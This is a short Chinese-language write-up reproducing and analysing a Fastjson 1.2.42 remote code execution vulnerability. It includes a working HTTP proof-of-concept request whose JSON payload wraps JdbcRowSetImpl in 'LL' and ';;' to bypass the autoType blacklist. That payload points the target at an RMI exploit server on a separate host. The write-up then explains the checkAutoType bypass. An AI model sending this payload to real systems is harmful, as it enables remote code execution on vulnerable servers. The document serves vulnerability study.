Fastjson 1.2.42 Rce 漏洞复现&分析
0x01 漏洞背景
影响范围:1.2.42
漏洞描述:1.2.42针对1.2.41进行了修补,取第二个字符到倒数第二个字符之间的内容做黑名单检查,但仍然被绕过,造成命令执行
0x02 漏洞复现
poc:
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 149
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
"autoCommit":true
}
0x03 漏洞分析
由于1.2.25-41版本的checkAutoType被绕过,所以42版本的修复主要是针对checkAutoType方法的,将黑名单改成了十进制,且黑名单检测方式从startswith变成了hash运算检测。
黑白名单检测
因此我们只需构造两个LL和;;,便可绕过第一个过滤直接到达,且绕过黑名单检测,到达TypeUtils.loadClass,进入类加载的流程,后面基本与1.2.41一致,两个L和;经历过两次递归加载,最终加载到我们的目标类
第二次加载
最后一次直接加载目标类,并返回
剩下的流程参考1.2.24